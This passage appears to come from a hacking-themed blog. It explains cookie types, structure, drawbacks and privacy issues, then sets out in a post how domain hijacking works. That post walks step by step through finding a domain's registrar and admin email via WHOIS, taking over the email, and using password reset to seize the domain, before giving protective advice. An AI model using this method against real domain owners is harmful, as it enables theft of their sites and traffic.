A session cookie is stored in the temporary memory while the user is on the website. If no expiry date is specified during its creation, session cookies are normally deleted by the browsers upon closure.
Persistent Cookie

A persistent cookie facilitates websites to track user settings and information when they visit the same website in the future. Unlike most session cookies, a persistent cookie does not get deleted upon browser closure. This makes it possible for the websites to easily authenticate users upon revisits without having to login again. In addition, persistent cookies help enhance user experience by storing their previous inputs such as language selection, themes and menu preferences.
Secure Cookie

A secure cookie has a secure attribute enabled so that its content gets encrypted every time it moves between the web server and the browser. This cookie is used only in the HTTPS mode and thus offers protection against cookie theft.
Third-Party Cookie

Third-party cookies are those that originate from a website other than the one that you are currently using. For example, when you visit a website www.abc.com, all the cookies that come from this website are called first-party cookies. Suppose, if this website (www.abc.com) is running an advertisement on its page from a third party website www.xyz.com, then the cookie that originates from this website (www.xyz.com) is referred to as a third-partycookie.
Structure of a Cookie

A cookie is comprised of the following seven components:

Name of the cookie
Value/Content of the cookie
Domain associated with the cookie
Path for which the cookie is valid
Attribute to specify whether the cookie requires a secure connection
Attribute specifying whether the cookie can be accessed by a script
Expiry information of the cookie

Drawbacks of Cookies

Even though cookies make our lives easier on the Internet, they come with drawbacks as well. Some of the major ones are listed below:

Shared Machines: Most people share their computers with their friends and family. As a result, a cookie set during the usage of one user may not be appropriate for the other user using the same machine. For example, when a new user revisits a shopping website such as amazon.com, he/she will be presented with all the information belonging to the previous user such as order details, shipping address and other personal preferences. This may cause annoyance to the new user as he/she may be required to change all the preferences once again to match personal requirements. Additionally, the exposure of previous user’s preferences and settings to the new user may raise security issues.
Accidental Deletion: In many cases, cookies can get erased accidentally when you clear your browsing history or use a third party cookie cleaner program. When this happens all your stored settings and preference gets lost and the website treats you as a completely new user.

Privacy Issues

Since cookies are capable of tracking a number of user specific information such as online behavior and personal preferences, they can be used to hamper the privacy of users. A website may use cookie information to display related advertising products based on your previous purchase. For example, Google often stores and uses your search keywords to display matching advertisements on all its partner network. Some sites are also known to have engaged in selling the cookie data to third parties which seriously hurts the privacy of individuals.

Domain Name Hijacking

In this post, I will tell you about how the domain names are hacked and how they can be protected. The act of hacking domain names is commonly known as Domain Hijacking. For most of you, the term “domain hijacking” may seem to be like an alien. So, let me first tell you what domain hijacking is all about.

Domain hijacking is a process by which Internet Domain Names are stolen from its legitimate owners. It is also known as domain theft. Before we can proceed to know how to hijack domain names, it is necessary to understand how the domain names operate and how they get associated with a particular web server (website).

The Operation of a Domain Name is as Follows:

Any website, for example, google.com consists of two parts. The domain name (google.com) and the web hosting server where the files of the website are actually hosted. In reality, the domain name and the web hosting server (web server) are two different parts and hence they must be integrated before a website can operate successfully. The integration of domain name with the web hosting server is done as follows:

After registering a new domain name, we get a control panel wherein we can have a full control of the domain.

From this domain control panel, we point our domain name to the web server where the website’s data (web pages, scripts etc.) are actually hosted.

For a clear understanding let me take up a small example:

John registers a new domain called “abc.com” from an X domain registration company. He also purchases a hosting plan from Y hosting company. He uploads all of his files (.html, .php, javascript etc.) to his web server (at Y). From the domain control panel (of X) he configures his domain name “abc.com” to point to his web server (of Y).

Now, whenever an Internet user types “abc.com”, the domain name “abc.com” is resolved to the target web server and the web page is displayed. This is how a website actually works.

What Happens When a Domain Name is Hijacked?

Now, let us see what happens when a domain name is hijacked. To hijack a domain name, you just need to gain access to the domain control panel and point the domain name to some other web server other than the original one. So, to hijack a domain you need not gain access to the target web server.

For example, a hacker gets access to the domain control panel of  “abc.com”. From here the hacker re-configures the domain name to point it to some other web server (Z). Now, whenever an Internet user tries to access “abc.com” he is taken to the hacker’s website (Z) and not to John’s original site (Y).

In this case, John’s domain name (abc.com) is said to be hijacked.

How are the Domain Names Hijacked?

To hijack a domain name, it is necessary to gain access to the domain control panel of the target domain. For this you need the following ingredients:

The domain registrar name for the target domain.

The administrative email address associated with the target domain.

This information can be obtained by accessing the WHOIS data of the target domain. To get access to the WHOIS data, go to whois.domaintools.com, enter the target domain name and click on Lookup. Once the whois data is loaded, scroll down and you’ll see Whois Record. Under this, you’ll get the “Administrative contact email address”.

To get the domain registrar name, look for the words something like: “Registered through:: XYZ Company”. Here XYZ Company is the domain registrar. In case if you do not find this, scroll up and you’ll see ICANN Registrar under the “Registry Data”. In this case, the ICANN registrar is the actual domain registrar.

The administrative email address associated with the domain is the backdoor to hijack the domain name. It is the key to unlocking the domain control panel. So, to take full control of the domain, the hacker will have to hack the administrative email associated with it.

Once the hacker takes full control of this email account, he will visit the domain registrar’s website and click on forgot password in the login page. There, he will be asked to enter either the domain name or the administrative email address to initiate the password reset process. Once this is done, all the details to reset the password will be sent to the administrative email address.

Since the hacker has the access to this email account, he can easily reset the password of domain control panel. After resetting the password, he logs into the control panel with the new password and from there he can hijack the domain within minutes.

How to Protect the Domain Name from Getting Hijacked?

The best way to protect the domain name is to protect the administrative email account associated with the domain. If you loose this email account, you lose your domain. Another best way to protect your domain is to go for a private domain registration.

When you register a domain name using the private registration option, all your personal details such as your name, address, phone and administrative email address are hidden from the public.

whenever a hacker performs a WHOIS lookup for your domain name, he will not be able to find your name, phone or the administrative email address. Thus, the private registration provides an extra security and protects your privacy. Even though it costs a few extra bucks, is really is worth for its advantages.